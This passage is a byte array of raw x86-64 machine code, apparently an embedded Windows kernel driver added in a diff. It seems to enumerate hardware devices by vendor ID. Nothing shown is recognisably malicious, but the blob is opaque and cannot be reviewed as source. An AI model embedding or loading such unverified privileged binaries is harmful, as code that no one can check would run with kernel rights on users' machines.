0x33, 0xC0, 0x33, 0xD2, 0x40, 0x32, 0xED, 0x45, 0x8B, 0xE6, 0x45, 0x89, 0xB3, 0xD8, 0xFE, 0xFF, 0xFF, + 0xFF, 0x15, 0x02, 0x33, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x41, 0x8D, 0x4E, 0x1B, 0x4C, 0x89, 0x5C, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x45, 0x33, 0xC9, 0x45, + 0x33, 0xC0, 0x48, 0x8B, 0xD7, 0x4C, 0x89, 0x74, 0x24, 0x20, 0xFF, 0x15, 0xC8, 0x32, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x64, 0x48, 0x8B, 0x90, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xEA, 0x48, 0x74, 0x57, 0xC7, 0x40, 0x30, 0xBB, 0x00, 0x00, + 0xC0, 0x48, 0x8D, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0xC6, 0x02, 0x1B, 0x48, 0x89, 0x4A, 0x10, 0xC6, 0x42, 0x01, 0x0F, 0xC7, 0x42, 0x20, 0x40, 0x00, 0x00, 0x00, 0x44, 0x89, 0x72, 0x08, 0x44, 0x89, 0x72, 0x18, 0x48, 0x8B, 0xCF, 0x48, 0x8B, + 0xD0, 0xFF, 0x15, 0x79, 0x32, 0x00, 0x00, 0x3D, 0x03, 0x01, 0x00, 0x00, 0x75, 0x1B, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x4C, 0x89, 0x74, 0x24, 0x20, 0xFF, 0x15, 0x4F, 0x32, 0x00, + 0x00, 0x48, 0x8D, 0x15, 0xE8, 0x22, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xAC, 0x24, 0x00, 0x02, 0x00, 0x00, 0xFF, 0x15, 0x22, 0x32, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8D, + 0x44, 0x24, 0x60, 0x48, 0x8D, 0x4C, 0x24, 0x48, 0xBA, 0x19, 0x00, 0x02, 0x00, 0x48, 0x89, 0x44, 0x24, 0x70, 0xC7, 0x44, 0x24, 0x60, 0x30, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x74, 0x24, 0x68, 0xC7, 0x44, 0x24, 0x78, 0x40, 0x00, 0x00, 0x00, 0x4C, + 0x89, 0xB4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xB4, 0x24, 0x88, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x33, 0x32, 0x00, 0x00, 0x85, 0xC0, 0x44, 0x8B, 0xE8, 0x0F, 0x88, 0xC7, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xBC, 0x24, 0xF0, 0x01, 0x00, 0x00, + 0x41, 0xBF, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0x38, 0x02, 0x00, 0x00, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x48, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8D, 0x44, 0x24, 0x40, 0x45, 0x33, 0xC9, 0x48, 0x89, 0x44, + 0x24, 0x28, 0x45, 0x8B, 0xC7, 0x41, 0x8B, 0xD4, 0x44, 0x89, 0x74, 0x24, 0x20, 0x40, 0x32, 0xFF, 0xFF, 0x15, 0xDA, 0x31, 0x00, 0x00, 0x8B, 0x54, 0x24, 0x40, 0x41, 0xB8, 0x44, 0x64, 0x6B, 0x20, 0x41, 0x8B, 0xCF, 0x48, 0x83, 0xC2, 0x08, 0xFF, + 0x15, 0x03, 0x31, 0x00, 0x00, 0x8B, 0x4C, 0x24, 0x40, 0x45, 0x8B, 0xC7, 0x48, 0x8B, 0xF0, 0x48, 0x8D, 0x44, 0x24, 0x40, 0x41, 0x8B, 0xD4, 0x48, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x48, 0x4C, 0x8B, 0xCE, + 0xFF, 0x15, 0x9A, 0x31, 0x00, 0x00, 0x85, 0xC0, 0x44, 0x8B, 0xE8, 0x79, 0x09, 0x41, 0x0F, 0xB6, 0xEF, 0xE9, 0x08, 0x01, 0x00, 0x00, 0x40, 0x84, 0xED, 0x0F, 0x85, 0xFF, 0x00, 0x00, 0x00, 0x83, 0x7E, 0x04, 0x08, 0x0F, 0x85, 0xF5, 0x00, 0x00, + 0x00, 0x48, 0x8D, 0x56, 0x14, 0x48, 0x8D, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x15, 0x31, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0x45, 0x0F, 0xB6, 0xC7, 0xFF, 0x15, 0x46, 0x31, + 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x8D, 0x15, 0x92, 0x21, 0x00, 0x00, 0xFF, 0x15, 0x2C, 0x31, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xA3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x8D, 0x15, 0x67, 0x21, 0x00, + 0x00, 0xFF, 0x15, 0x11, 0x31, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x88, 0x00, 0x00, 0x00, 0x44, 0x8B, 0x46, 0x08, 0x4C, 0x03, 0xC6, 0x41, 0x83, 0x78, 0x04, 0x05, 0x75, 0x7A, 0x45, 0x8B, 0x50, 0x10, 0x45, 0x85, 0xD2, 0x74, 0x71, 0x44, + 0x8B, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x49, 0x8D, 0x48, 0x14, 0x49, 0x8B, 0xD2, 0x66, 0x90, 0x80, 0x39, 0x03, 0x75, 0x14, 0x44, 0x39, 0x49, 0x04, 0x75, 0x0E, 0x40, 0x0F, 0xB6, 0xC7, 0x40, 0x84, 0xFF, 0x41, 0x0F, 0x44, 0xC7, 0x0F, 0xB6, + 0xF8, 0x48, 0x83, 0xC1, 0x14, 0x48, 0xFF, 0xCA, 0x75, 0xDE, 0x41, 0x3A, 0xFF, 0x75, 0x39, 0x45, 0x85, 0xD2, 0x41, 0x8B, 0xD6, 0x74, 0x2E, 0x49, 0x8D, 0x48, 0x18, 0x80, 0x79, 0xFC, 0x02, 0x75, 0x18, 0x8B, 0x41, 0x04, 0x89, 0x43, 0x0C, 0x0F, + 0xB6, 0x01, 0x88, 0x43, 0x08, 0x48, 0x8B, 0x41, 0x08, 0x44, 0x89, 0x73, 0x18, 0x48, 0x89, 0x43, 0x10, 0xFF, 0xC2, 0x48, 0x83, 0xC1, 0x14, 0x41, 0x3B, 0x50, 0x10, 0x72, 0xD6, 0x41, 0x8A, 0xEF, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0x6D, + 0x30, 0x00, 0x00, 0x41, 0xFF, 0xC4, 0x48, 0x85, 0xF6, 0x74, 0x0B, 0x33, 0xD2, 0x48, 0x8B, 0xCE, 0xFF, 0x15, 0xBA, 0x2F, 0x00, 0x00, 0x40, 0x84, 0xED, 0x0F, 0x84, 0x69, 0xFE, 0xFF, 0xFF, 0x4C, 0x8B, 0xBC, 0x24, 0xF0, 0x01, 0x00, 0x00, 0x48, + 0x8B, 0xB4, 0x24, 0x38, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x48, 0x4C, 0x8B, 0xB4, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xA4, 0x24, 0x08, 0x02, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x48, 0x8B, 0xBC, 0x24, 0x10, 0x02, 0x00, 0x00, 0x48, + 0x8B, 0xAC, 0x24, 0x30, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x28, 0x02, 0x00, 0x00, 0x74, 0x06, 0xFF, 0x15, 0x01, 0x30, 0x00, 0x00, 0x41, 0x8B, 0xC5, 0x4C, 0x8B, 0xAC, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xE0, 0x01, + 0x00, 0x00, 0xE8, 0x29, 0x16, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x18, 0x02, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x33, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4C, 0x8B, 0xDC, 0x48, 0x81, 0xEC, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xE7, 0x3F, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x49, 0x89, 0x5B, 0x18, 0x48, + 0x8B, 0x59, 0x38, 0x49, 0x89, 0x7B, 0x20, 0x48, 0x8B, 0xF9, 0x49, 0x8D, 0x4B, 0xB8, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x89, 0x44, 0x24, 0x68, 0x89, 0x44, 0x24, 0x6C, 0x89, 0x44, 0x24, 0x70, 0x89, 0x44, 0x24, 0x74, 0x89, 0x44, 0x24, 0x78, 0x89, + 0x44, 0x24, 0x7C, 0xFF, 0x15, 0x67, 0x2F, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x5C, 0x24, 0x40, 0x48, 0x8D, 0x44, 0x24, 0x50, 0x4C, 0x89, 0x5C, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x41, 0x8D, 0x49, 0x1B, 0x45, 0x33, 0xC0, 0x48, + 0x8B, 0xD3, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x2F, 0x2F, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x6A, 0x48, 0x8B, 0x90, 0xB8, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x30, 0xBB, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0xCB, 0xC6, + 0x42, 0xB8, 0x1B, 0xC6, 0x42, 0xB9, 0x15, 0x48, 0x8B, 0xD0, 0xFF, 0x15, 0x00, 0x2F, 0x00, 0x00, 0x3D, 0x03, 0x01, 0x00, 0x00, 0x75, 0x22, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0xC7, 0x44, 0x24, + 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xD5, 0x2E, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x40, 0xEB, 0x07, 0x85, 0xC0, 0x0F, 0x44, 0x44, 0x24, 0x40, 0x85, 0xC0, 0x78, 0x14, 0x48, 0x8B, 0x4C, 0x24, 0x48, 0x33, 0xD2, 0x8B, 0x41, 0x14, 0x89, 0x44, + 0x24, 0x7C, 0xFF, 0x15, 0x38, 0x2E, 0x00, 0x00, 0xBA, 0x40, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x44, 0x64, 0x6B, 0x20, 0x8D, 0x4A, 0xC1, 0xFF, 0x15, 0x1C, 0x2E, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xD8, 0x74, 0x64, 0x33, 0xC0, 0x48, 0x8B, + 0xD3, 0x48, 0x89, 0x03, 0x48, 0x89, 0x43, 0x08, 0x48, 0x89, 0x43, 0x10, 0x48, 0x89, 0x43, 0x18, 0x48, 0x89, 0x43, 0x20, 0x48, 0x89, 0x43, 0x28, 0x48, 0x89, 0x43, 0x30, 0x48, 0x89, 0x43, 0x38, 0x48, 0x8B, 0x4F, 0x38, 0xE8, 0x27, 0xF9, 0xFF, + 0xFF, 0x44, 0x0F, 0xB6, 0x5C, 0x24, 0x7C, 0x33, 0xD2, 0x44, 0x88, 0x1F, 0x8B, 0x43, 0x08, 0xC1, 0xE8, 0x08, 0x33, 0x07, 0x25, 0x00, 0x1F, 0x00, 0x00, 0x31, 0x07, 0x8B, 0x4B, 0x08, 0x8B, 0x07, 0xC1, 0xE1, 0x0D, 0x33, 0xC8, 0x81, 0xE1, 0x00, + 0xE0, 0x00, 0x00, 0x33, 0xC8, 0x89, 0x0F, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB8, 0x2D, 0x00, 0x00, 0x48, 0x8B, 0xBC, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, + 0x00, 0x00, 0xE8, 0x71, 0x14, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x98, 0x00, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4C, 0x8B, 0xDC, 0x48, 0x81, 0xEC, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x47, 0x3E, 0x00, + 0x00, 0x48, 0x89, 0x44, 0x24, 0x58, 0x4D, 0x89, 0x6B, 0xE8, 0x4D, 0x89, 0x73, 0xE0, 0x45, 0x33, 0xF6, 0x4C, 0x8B, 0xE9, 0x4D, 0x8D, 0x4B, 0xA0, 0x45, 0x8D, 0x46, 0x01, 0x49, 0x8D, 0x4B, 0xC0, 0x33, 0xD2, 0xC7, 0x44, 0x24, 0x48, 0x44, 0x89, + 0x49, 0xAD, 0x66, 0xC7, 0x44, 0x24, 0x4C, 0x2F, 0x76, 0x66, 0xC7, 0x44, 0x24, 0x4E, 0xD0, 0x11, 0xC6, 0x44, 0x24, 0x50, 0x8D, 0xC6, 0x44, 0x24, 0x51, 0xCB, 0xC6, 0x44, 0x24, 0x52, 0x00, 0xC6, 0x44, 0x24, 0x53, 0xC0, 0xC6, 0x44, 0x24, 0x54, + 0x4F, 0xC6, 0x44, 0x24, 0x55, 0xC3, 0xC6, 0x44, 0x24, 0x56, 0x35, 0xC6, 0x44, 0x24, 0x57, 0x8C, 0x4D, 0x89, 0x73, 0x98, 0x4D, 0x89, 0x73, 0xA8, 0x4D, 0x89, 0x73, 0xA0, 0xFF, 0x15, 0xDE, 0x2D, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x88, 0xDD, 0x01, + 0x00, 0x00, 0x48, 0x89, 0x9C, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x28, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x48, 0x8B, 0xD3, 0xFF, 0x15, 0x4B, 0x2D, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0x5C, 0x24, 0x38, 0x66, 0x45, 0x85, 0xDB, 0x0F, + 0x84, 0x9D, 0x01, 0x00, 0x00, 0x48, 0x89, 0xAC, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x64, 0x24, 0x78, 0x66, 0x41, 0x83, 0xFB, 0x04, 0x0F, + 0x86, 0x2E, 0x01, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xD3, 0x66, 0x33, 0xC9, 0x83, 0xEA, 0x04, 0x85, 0xD2, 0x0F, 0x8E, 0x1C, 0x01, 0x00, 0x00, 0x90, 0x66, 0x83, 0xF9, 0x14, 0x0F, 0x83, 0x11, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0xC1, 0x66, 0x83, 0x3C, + 0x43, 0x56, 0x75, 0x18, 0x66, 0x83, 0x7C, 0x43, 0x02, 0x45, 0x75, 0x10, 0x66, 0x83, 0x7C, 0x43, 0x04, 0x4E, 0x75, 0x08, 0x66, 0x83, 0x7C, 0x43, 0x06, 0x5F, 0x74, 0x0F, 0x66, 0xFF, 0xC1, 0x0F, 0xB7, 0xC1, 0x3B, 0xC2, 0x7C, 0xCA, 0xE9, 0xE0, + 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x4C, 0x24, 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x20, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0xBA, 0xFF, 0x01, 0x1F, 0x00, 0xFF, 0x15, 0x13, 0x2D, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x88, 0xB4, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, + 0x24, 0x20, 0x49, 0x8B, 0x7D, 0x00, 0x48, 0x85, 0xFF, 0x4C, 0x8B, 0x65, 0x08, 0x75, 0x25, 0xBA, 0x50, 0x02, 0x00, 0x00, 0x33, 0xC9, 0x41, 0xB8, 0x44, 0x64, 0x6B, 0x20, 0xFF, 0x15, 0x0E, 0x2C, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xF0, + 0x0F, 0x84, 0x83, 0x00, 0x00, 0x00, 0x49, 0x89, 0x45, 0x00, 0xEB, 0x42, 0xBA, 0x50, 0x02, 0x00, 0x00, 0x33, 0xC9, 0x41, 0xB8, 0x44, 0x64, 0x6B, 0x20, 0xFF, 0x15, 0xE9, 0x2B, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x8D, 0x87, 0x48, 0x02, 0x00, + 0x00, 0x4C, 0x39, 0x30, 0x74, 0x19, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x48, 0x8B, 0x38, 0x48, 0x8D, 0x87, 0x48, 0x02, 0x00, 0x00, 0x4C, 0x39, 0x30, 0x75, 0xF1, 0x48, 0x89, 0xB7, 0x48, 0x02, 0x00, 0x00, 0x48, 0x85, + 0xF6, 0x74, 0x36, 0x48, 0x8B, 0xCE, 0x4C, 0x89, 0x66, 0x38, 0x48, 0x89, 0x6E, 0x30, 0x4C, 0x89, 0xB6, 0x48, 0x02, 0x00, 0x00, 0xE8, 0x7E, 0xFC, 0xFF, 0xFF, 0x41, 0xFF, 0x45, 0x08, 0x48, 0x8B, 0xCE, 0xE8, 0xD2, 0xF8, 0xFF, 0xFF, 0x48, 0x8D, + 0x4E, 0x40, 0x41, 0xB8, 0x03, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0xFF, 0x15, 0x4F, 0x2C, 0x00, 0x00, 0x4C, 0x89, 0x74, 0x24, 0x20, 0x4C, 0x89, 0x74, 0x24, 0x30, 0x0F, 0xB7, 0x44, 0x24, 0x3A, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x48, 0xD1, 0xE8, + 0x48, 0x8D, 0x1C, 0x43, 0x48, 0x8B, 0xD3, 0xFF, 0x15, 0xCB, 0x2B, 0x00, 0x00, 0x66, 0x44, 0x8B, 0x5C, 0x24, 0x38, 0x66, 0x45, 0x85, 0xDB, 0x0F, 0x85, 0x9D, 0xFE, 0xFF, 0xFF, 0x4C, 0x8B, 0x64, 0x24, 0x78, 0x48, 0x8B, 0xBC, 0x24, 0x80, 0x00, + 0x00, 0x00, 0x48, 0x8B, 0xB4, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xAC, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x33, 0xD2, 0xFF, 0x15, 0x29, 0x2B, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x98, 0x00, 0x00, 0x00, 0x4C, + 0x8B, 0x74, 0x24, 0x68, 0x4C, 0x8B, 0x6C, 0x24, 0x70, 0x48, 0x8B, 0x4C, 0x24, 0x58, 0xE8, 0xE5, 0x11, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x88, 0x00, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x8B, 0xC4, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x8B, 0xE9, 0x33, 0xF6, 0x48, 0x8D, 0x48, 0xE8, 0x48, 0x89, 0x78, 0x20, 0x48, 0x89, 0x70, 0xE8, 0x89, 0x70, 0xF0, 0xE8, + 0x44, 0xFD, 0xFF, 0xFF, 0x48, 0x85, 0xED, 0x48, 0x8B, 0x7C, 0x24, 0x20, 0x48, 0x8B, 0xDF, 0x74, 0x71, 0x8B, 0x45, 0x00, 0x48, 0x8D, 0x0D, 0x4D, 0x1C, 0x00, 0x00, 0x44, 0x8B, 0xC8, 0x44, 0x8B, 0xC0, 0x0F, 0xB6, 0xD0, 0x41, 0xC1, 0xE9, 0x0D, + 0x41, 0xC1, 0xE8, 0x08, 0x41, 0x83, 0xE1, 0x07, 0x41, 0x83, 0xE0, 0x1F, 0xE8, 0x8F, 0xE9, 0xFF, 0xFF, 0x44, 0x8B, 0x44, 0x24, 0x28, 0x44, 0x8B, 0xDE, 0x45, 0x85, 0xC0, 0x74, 0x3C, 0x66, 0x90, 0x48, 0x85, 0xDB, 0x74, 0x35, 0x8B, 0x0B, 0x8B, + 0x55, 0x00, 0x8B, 0xC1, 0x33, 0xC2, 0x84, 0xC0, 0x75, 0x19, 0x8B, 0xC1, 0x33, 0xC2, 0xA9, 0x00, 0x1F, 0x00, 0x00, 0x75, 0x0E, 0x33, 0xCA, 0xF7, 0xC1, 0x00, 0xE0, 0x00, 0x00, 0x75, 0x04, 0x48, 0x8B, 0x73, 0x38, 0x48, 0x8B, 0x9B, 0x48, 0x02, + 0x00, 0x00, 0x41, 0xFF, 0xC3, 0x45, 0x3B, 0xD8, 0x72, 0xC6, 0x48, 0x85, 0xFF, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x74, 0x24, 0x48, 0x8B, 0x4F, 0x30, 0xFF, 0x15, 0xAA, 0x2A, 0x00, 0x00, 0x48, 0x8B, 0x9F, 0x48, 0x02, 0x00, 0x00, 0x33, 0xD2, 0x48, + 0x8B, 0xCF, 0xFF, 0x15, 0x28, 0x2A, 0x00, 0x00, 0x48, 0x85, 0xDB, 0x48, 0x8B, 0xFB, 0x75, 0xDC, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0xC6, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x8B, 0xD9, 0x48, 0x8D, + 0x48, 0xE8, 0x48, 0x89, 0x78, 0x20, 0x48, 0x8B, 0xEA, 0x48, 0xC7, 0x40, 0xE8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xBE, 0x02, 0x40, 0x6A, 0xC8, 0xE8, 0x36, 0xFC, 0xFF, 0xFF, 0x48, 0x85, 0xDB, 0x48, 0x8B, 0x7C, + 0x24, 0x20, 0x48, 0x8B, 0xD7, 0x74, 0x6D, 0x44, 0x8B, 0x54, 0x24, 0x28, 0x45, 0x33, 0xC0, 0x45, 0x85, 0xD2, 0x74, 0x60, 0x48, 0x85, 0xD2, 0x74, 0x5B, 0x8B, 0x0A, 0x44, 0x8B, 0x0B, 0x8B, 0xC1, 0x41, 0x33, 0xC1, 0x84, 0xC0, 0x75, 0x17, 0x8B, + 0xC1, 0x41, 0x33, 0xC1, 0xA9, 0x00, 0x1F, 0x00, 0x00, 0x75, 0x0B, 0x41, 0x33, 0xC9, 0xF7, 0xC1, 0x00, 0xE0, 0x00, 0x00, 0x74, 0x11, 0x48, 0x8B, 0x92, 0x48, 0x02, 0x00, 0x00, 0x41, 0xFF, 0xC0, 0x45, 0x3B, 0xC2, 0x72, 0xC7, 0xEB, 0x25, 0x48, + 0x8B, 0xCD, 0x41, 0xB8, 0x50, 0x02, 0x00, 0x00, 0xE8, 0xD3, 0x0B, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x30, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0xFF, 0x01, 0x1F, 0x00, 0xFF, 0x15, 0x26, 0x2A, 0x00, 0x00, 0x33, 0xF6, 0x48, 0x85, 0xFF, 0x48, + 0x8B, 0x6C, 0x24, 0x48, 0x74, 0x26, 0x66, 0x90, 0x48, 0x8B, 0x4F, 0x30, 0xFF, 0x15, 0x9E, 0x29, 0x00, 0x00, 0x48, 0x8B, 0x9F, 0x48, 0x02, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x1C, 0x29, 0x00, 0x00, 0x48, 0x85, 0xDB, 0x48, + 0x8B, 0xFB, 0x75, 0xDC, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x8B, 0xC6, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x33, 0xC0, 0x48, 0x8D, + 0x4C, 0x24, 0x20, 0x48, 0x89, 0x7C, 0x24, 0x58, 0x48, 0x89, 0x44, 0x24, 0x20, 0x89, 0x44, 0x24, 0x28, 0xE8, 0x52, 0xFB, 0xFF, 0xFF, 0x0F, 0xB7, 0x54, 0x24, 0x28, 0x44, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x8D, 0x0D, 0x81, 0x1A, 0x00, 0x00, 0xE8, + 0xBC, 0xE7, 0xFF, 0xFF, 0x48, 0x8B, 0x7C, 0x24, 0x20, 0x48, 0x85, 0xFF, 0x74, 0x2E, 0x48, 0x89, 0x5C, 0x24, 0x50, 0x48, 0x8B, 0x4F, 0x30, 0xFF, 0x15, 0x1B, 0x29, 0x00, 0x00, 0x48, 0x8B, 0x9F, 0x48, 0x02, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, + 0xCF, 0xFF, 0x15, 0x99, 0x28, 0x00, 0x00, 0x48, 0x85, 0xDB, 0x48, 0x8B, 0xFB, 0x75, 0xDC, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x66, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x89, 0x5C, 0x24, 0x40, 0x33, 0xC0, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0xD9, 0x48, 0x8D, 0x4C, 0x24, 0x20, + 0x48, 0x89, 0x74, 0x24, 0x50, 0x48, 0x89, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0xEA, 0x48, 0x89, 0x44, 0x24, 0x20, 0x89, 0x44, 0x24, 0x28, 0xE8, 0xAD, 0xFA, 0xFF, 0xFF, 0x48, 0x8B, 0x7C, 0x24, 0x20, 0x66, 0x33, 0xF6, 0x4C, 0x8B, 0xC7, 0x66, 0x39, + 0x75, 0x00, 0x76, 0x47, 0x4D, 0x85, 0xC0, 0x74, 0x42, 0x41, 0x0F, 0xB6, 0x00, 0x0F, 0xB7, 0xD6, 0x66, 0xFF, 0xC6, 0x48, 0x69, 0xD2, 0x08, 0x01, 0x00, 0x00, 0x88, 0x04, 0x1A, 0x8B, 0x04, 0x1A, 0x41, 0x33, 0x00, 0x25, 0x00, 0x1F, 0x00, 0x00, + 0x31, 0x04, 0x1A, 0x8B, 0x04, 0x1A, 0x8B, 0xC8, 0x41, 0x33, 0x08, 0x81, 0xE1, 0x00, 0xE0, 0x00, 0x00, 0x33, 0xC8, 0x89, 0x0C, 0x1A, 0x66, 0x3B, 0x75, 0x00, 0x4D, 0x8B, 0x80, 0x48, 0x02, 0x00, 0x00, 0x72, 0xB9, 0x48, 0x85, 0xFF, 0x74, 0x24, + 0x48, 0x8B, 0x4F, 0x30, 0xFF, 0x15, 0x3E, 0x28, 0x00, 0x00, 0x48, 0x8B, 0x9F, 0x48, 0x02, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xBC, 0x27, 0x00, 0x00, 0x48, 0x85, 0xDB, 0x48, 0x8B, 0xFB, 0x75, 0xDC, 0x48, 0x8B, 